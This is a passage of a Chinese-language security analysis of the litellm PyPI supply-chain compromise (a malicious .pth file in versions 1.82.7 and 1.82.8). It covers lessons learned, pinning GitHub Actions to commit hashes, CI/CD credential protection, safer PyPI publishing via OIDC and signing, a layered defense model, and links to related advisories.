leaf="">24514</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8, 1.82.7</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">CLOSED</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">treo</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">24517</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PyPI has quarantined litellm</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">CLOSED</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">deepakmca05</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">24542</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">[Security] Migrate PyPI publishing to Trusted Publishers (OIDC)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">OPEN</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr></tbody></table><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="429" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">经验教训</span></h2><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">依赖安全</span></strong><p><span leaf="">: 第三方工具（即使是安全工具）也可能成为攻击入口</span></p></li><li><strong><span leaf="">发布权限</span></strong><p><span leaf="">: PyPI API Token 需要更严格的访问控制</span></p></li><li><strong><span leaf="">自动化发布</span></strong><p><span leaf="">: 自动发布流程需要额外的安全检查</span></p></li><li><strong><span leaf="">快速响应</span></strong><p><span leaf="">: 从发现到响应仅用了数小时，体现了团队的安全意识</span></p></li><li><strong><span leaf="">透明沟通</span></strong><p><span leaf="">: 及时发布详细的安全公告，帮助用户评估风险</span></p></li></ol><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><p data-line="439" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><em><span leaf="">分析时间: 2026-03-25</span></em><em><span leaf="">数据来源: GitHub API, BerriAI/litellm 仓库</span></em></p><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="444" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">经验教训（续）</span></h2><h3 data-line="446" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6. GitHub Actions 安全最佳实践</span></h3><p data-line="448" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">引用 GitHub Actions 的正确方式</span></strong><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="449" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># ❌ 不安全：使用分支引用</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">uses:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">aquasecurity/trivy-action@master</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># ❌ 不安全：使用可变标签</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">uses:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">aquasecurity/trivy-action@v0.34.0</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># ✅ 安全：使用提交哈希</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">uses:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">aquasecurity/trivy-action@ddb9da4475c1cef7d5389062bdfdfbdbd1394648</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># ✅ 较安全：使用不可变标签（需确认仓库已启用）</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">uses:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">aquasecurity/trivy-action@v0.35.0</span></span></code></pre><p data-line="463" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">CI/CD 凭据保护建议</span></strong><span leaf="">：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">最小权限原则</span></strong><p><span leaf="">：CI/CD 工具只应获得必要的最小权限</span></p></li><li><strong><span leaf="">环境隔离</span></strong><p><span leaf="">：生产环境的凭据不应在 CI/CD 环境中明文存储</span></p></li><li><strong><span leaf="">短期凭据</span></strong><p><span leaf="">：使用临时凭据而非长期有效的 API Token</span></p></li><li><strong><span leaf="">审计日志</span></strong><p><span leaf="">：启用详细的 CI/CD 执行日志和异常检测</span></p></li><li><strong><span leaf="">依赖审查</span></strong><p><span leaf="">：定期审查第三方 GitHub Actions 的安全状态</span></p></li></ol><h3 data-line="470" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">7. PyPI 发布安全改进</span></h3><p data-line="472" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">当前问题</span></strong><span leaf="">：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">PyPI API Token 一旦泄露，攻击者可以完全控制包的发布</span></p></li><li><p><span leaf="">缺乏发布前的多重验证机制</span></p></li><li><p><span leaf="">用户无法验证下载包的完整性（签名验证）</span></p></li></ul><p data-line="477" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">建议改进</span></strong><span leaf="">：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p data-line="478" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">Trusted Publishers (OIDC)</span></strong><span leaf="">：</span></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">使用 OpenID Connect 进行身份验证</span></p></li><li><p><span leaf="">无需长期有效的 API Token</span></p></li><li><p><span leaf="">仅允许从特定 GitHub 仓库发布</span></p></li></ul><li><p data-line="483" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">包签名验证</span></strong><span leaf="">：</span></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">实施 PGP/GPG 签名</span></p></li><li><p><span leaf="">用户在安装前验证包的真实性和完整性</span></p></li></ul><li><p data-line="487" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">发布审批流程</span></strong><span leaf="">：</span></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">重要包的发布需要多人审批</span></p></li><li><p><span leaf="">发布前自动安全扫描</span></p></li></ul></ol><h3 data-line="491" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">8. 供应链攻击防御策略</span></h3><p data-line="493" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">纵深防御模型</span></strong><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="495" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">┌─────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  第一层：代码仓库安全                        │</span><span leaf=""><br/></span><span leaf="">│  - 双因素认证                               │</span><span leaf=""><br/></span><span leaf="">│  - 分支保护规则                             │</span><span leaf=""><br/></span><span leaf="">│  - 提交签名验证                             │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────┘</span><span leaf=""><br/></span><span leaf="">              ↓</span><span leaf=""><br/></span><span leaf="">┌─────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  第二层：CI/CD 管道安全                      │</span><span leaf=""><br/></span><span leaf="">│  - 最小权限原则                             │</span><span leaf=""><br/></span><span leaf="">│  - 环境变量加密                             │</span><span leaf=""><br/></span><span leaf="">│  - 第三方 Actions 审查                       │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────┘</span><span leaf=""><br/></span><span leaf="">              ↓</span><span leaf=""><br/></span><span leaf="">┌─────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  第三层：发布流程安全                        │</span><span leaf=""><br/></span><span leaf="">│  - OIDC 身份验证                            │</span><span leaf=""><br/></span><span leaf="">│  - 发布前安全扫描                           │</span><span leaf=""><br/></span><span leaf="">│  - 多人审批机制                             │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────┘</span><span leaf=""><br/></span><span leaf="">              ↓</span><span leaf=""><br/></span><span leaf="">┌─────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  第四层：分发渠道安全                        │</span><span leaf=""><br/></span><span leaf="">│  - 包签名验证                               │</span><span leaf=""><br/></span><span leaf="">│  - 完整性校验                               │</span><span leaf=""><br/></span><span leaf="">│  - 异常下载检测                             │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────┘</span><span leaf=""><br/></span><span leaf="">              ↓</span><span leaf=""><br/></span><span leaf="">┌─────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  第五层：运行时监控                          │</span><span leaf=""><br/></span><span leaf="">│  - 异常网络连接检测                         │</span><span leaf=""><br/></span><span leaf="">│  - 敏感文件访问监控                         │</span><span leaf=""><br/></span><span leaf="">│  - 行为分析告警                             │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────┘</span><span leaf=""><br/></span></code></pre><hr style="border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 data-line="534" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">社区工具和资源</span></h2><h3 data-line="536" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">检测工具</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">工具</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">作者</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">scan-litellm-safely</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">AsteriskZuo</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">TypeScript 编写的本地扫描工具，检测是否安装了受影响的 litellm 版本</span></p></td></tr></tbody></table><h3 data-line="542" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">相关安全公告</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">来源</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">链接</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Trivy 第二次被攻陷分析</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf=""><a href="https://www.stepsecurity.io/blog/trivy-compromised-a-second-time" target="_blank">https://www.stepsecurity.io/blog/trivy-compromised-a-second-time</a></span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Trivy 恶意代码完整分析</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: 